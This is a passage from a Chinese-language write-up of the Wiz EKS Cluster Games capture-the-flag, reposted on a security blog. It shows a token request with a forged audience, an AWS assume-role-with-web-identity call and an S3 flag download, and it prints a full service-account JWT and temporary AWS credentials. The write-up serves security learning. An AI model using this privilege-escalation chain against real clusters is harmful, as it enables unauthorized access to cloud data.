  eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
creationTimestamp: "2023-10-31T20:07:34Z"
name: s3access-sa
namespace: challenge5
resourceVersion: "671916"
uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda

annotations是附加信息字段,debug-sas3access-sa两个sa中该字段有展示两个角色的ARN,结合题目描述,要我们从EKS权限图突破到AWS权限,而这两者使用OIDC进行身份验证从而关联起来,猜测challengeEksS3Role这个角色应该需要扮演。

自定义audience受众请求令牌

kubectl create token,可以创建一个新的身份验证令牌,并将其分配给指定的用户或服务账号。这样,用户或服务账号就可以使用该令牌来进行身份验证,并获得相应的权限来执行操作。

经测试没有权限请求s3access-sa的身份验证令牌

root@wiz-eks-challenge:~# kubectl create token s3access-sa
error: failed to create token: serviceaccounts "s3access-sa" is forbidden: User "system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal" cannot create resource "serviceaccounts/token" in API group "" in the namespace "challenge5"

只能请求debug-sa的身份验证令牌。

注意到信任策略中,存在一个漏洞,OIDC进行身份验证只校验了audience受众字段,并没有限制令牌的主体,所以我们可以申请debug-sa的令牌,并自定义aud为策略中限制的:

root@wiz-eks-challenge:~# kubectl create token debug-sa --audience sts.amazonaws.com
eyJhbGciOiJSUzI1NiIsImtpZCI6ImRkMGYxNzE1Yjg1YmViZTM1ODQ3NDZkZjE4ODkxMzhlZDQ0NTUxYWMifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzAzNTYxNTcyLCJpYXQiOjE3MDM1NTc5NzIsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwMzU1Nzk3Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.k4iYN-Tizrppp13rq6eErrROshXSxwlTCb3UyKat5hyHWjilNcS4EiZMPZx-8YJreVnaIle7MgTycWCeizzftMX5r6fhuWsrbQjnMRKOQHjJnJxO4Li7sMhz-d1lS4g7byAtAsRwVOiofXRtFmEVFkcIifS8Gak6pjoNawnAvt04-_q96rF6QFQU0qx1-EQDJkS-zBZ_hJ5X7m3gFfhvZKcl0n3UBS3z0P-fnD1-CTjbCkXsm7z_K-9xB6lAqDvev9W0CAoU4Iq5ZBpTEEp2Jry5zChnDPSbdqxGYp-mxyLqSjjoy5tH7ApViftTy7c-NwT5vns2wbTtkAh-aRIXvQ

向AWS传递身份令牌和想要扮演的IAM角色

得到令牌后,使用assume-role-with-web-identity接口,传递身份令牌和想要扮演的IAM角色的ARN

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name testsessionname --web-identity-token eyJhbGci[上面请求得到的令牌]
{
  "Credentials": {
      "AccessKeyId": "ASIA2AVYNEVMRVOALO6G",
      "SecretAccessKey": "iEeUlbwvsmNTht9AynptLPTdFG+rdJu04ciEL+uL",
      "SessionToken": "IQoJb3JpZ2luX2VjEPv//////////wEaCXVzLXdlc3QtMSJHMEUCIQCKJ3MXj19MJsvYjDXLyZnFwJjD+wsRASsy4E4jhy56JwIgCrU5QSRDAYb+F3yoS3z94EaqTRx0ZRP4dIKuTSn+IK8qyQQIhP//////////ARAAGgw2ODg2NTUyNDY2ODEiDCXEf427it1fk54djyqdBJY8y/rqQiWsYTvBTKyUegMu0JxiKp7FLGdBrOvAIZ18DOjhW2RO4HGXP3w007YmiPWAZNX6Wh64Hpt3CXxymp7kvaAh9q9/6n6/DX5s3p6J1N2RIjudoA4D0X4VeZ1FxBivTy5vRuECKmvmzmENC2JJ76FdG1nJT/DpHQ+Bj2xlYTcrfUER9XBwaDoxVKINBaRDSbRLgC9SSjb9Gy1Bd+Za4I47Yvg9gVSC5ZC5aujyAMyqfB98aDR34m1KSWN2BXUaeisQj/23ZCRJnyhaiI3aHmJYVTW5q3nhiPGAk5KfxO8J0WzXgxrsiYN30zzhVKmqwC8IL9rhTMDJqrgDjx030CCXjaMMWYANXoBamwAQ1MZal7odeJpzkquOYfel89L9Gmul7uVQzq8u6VOw0yHiF7yREUXW9mmxdQ10kPNK1gZqHxVxt9IlnLOq2hN701Fti9ySJaEOLewjVsJ27E6biJ5pWX0CFyaIx+yJEE2rnOkqptu/tlU0gJdsuhXqJUVXSDU4AsH2unATX6jecRBhsdmGub1p7bTBE4jD87hcazCpHDcdeZKLhNarRvw7v1FJHkFdlvfkNA1+x2TDsn5pTlc9nt/m1qCEbZthjzUPWUb+uSQ1NKNj+Sc6ZSEr0Fsgcsn6G8vmXV7ZxkYQKmsRwrQCEkiDukULhhCBqA4ILvw0BpB2vHDiVHxclTjwf71NnIBxpIsVZgRyZcsw3/eorAY6lQEhamnF5LmDGYuaVGMo4f6E1sRAVbXOu73kf3Zn50LULNAPfMOaqNeOpB3hEj+zoVekkF9/SN2weZn0DBvvYOAebhs7TJV359GiJ0oOfaXaE8uz3aIO0Ik9UXqrpQnjYfui5fOALRqNdR+dGzn3v7vQsGQYjv77U/f2FoR/YbONPrusUStMoICnkqpK5ny5nK7+GK1ikg==",
      "Expiration": "2023-12-26T03:35:11+00:00"
  },
  "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
  "AssumedRoleUser": {
      "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:testsessionname",
      "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/testsessionname"
  },
  "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
  "Audience": "sts.amazonaws.com"
}

根据返回信息可以看到扮演的角色是arn:aws:sts::688655246681:assumed-role/challengeEksS3RoleAudiencests.amazonaws.com,符合策略的限制要求。

随后就是将这sts配置到aws中,读取s3中的flag:

root@wiz-eks-challenge:~# aws s3 ls s3://challenge-flag-bucket-3ff1ae2/
2023-11-01 12:27:55         72 flag
root@wiz-eks-challenge:~# aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag flag
download: s3://challenge-flag-bucket-3ff1ae2/flag to ./flag      
root@wiz-eks-challenge:~# cat flag
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}

总结

本关了解到EKS集群和AWS IAM角色中通过OIDC进行关联认,k8s颁发的令牌和AWS角色凭据之间可以通过AssumeRoleWithWebIdentity接口及逆行转换。当IAM信任策略配置不当时,就可以通过该命令扮演另一个角色,从获取更广泛的权限。

最终总结

之前的IAM挑战赛和本次的EKS集群挑战赛都是很有价值的,无不感叹整个AWS云设计的巧妙。

云原生相关的知识很庞大,其中也涉及到各种认证机制,相关攻击向量也很复杂,基础知识还需要下功夫。总的来说这两次挑战赛都极大帮助我学习相关攻击技巧,希望WIZ安全公司再出一些系列挑战赛。

参考链接

https://mp.weixin.qq.com/s/r0fzl6hBbLtJZEmrUYqUrw

https://wiki.teamssix.com/cloudnative/kubernetes/wiz-eks-cluster-games-wp.html

原文始发于微信公众号(信安文摘):【云原生渗透】- 通过WIZ EKS Cluster Games学习容器集群的攻击技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月26日13:17:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云原生渗透】- 通过WIZ EKS Cluster Games学习容器集群的攻击技巧http://cn-sec.com/archives/2335273.html

发表评论

匿名网友 填写信息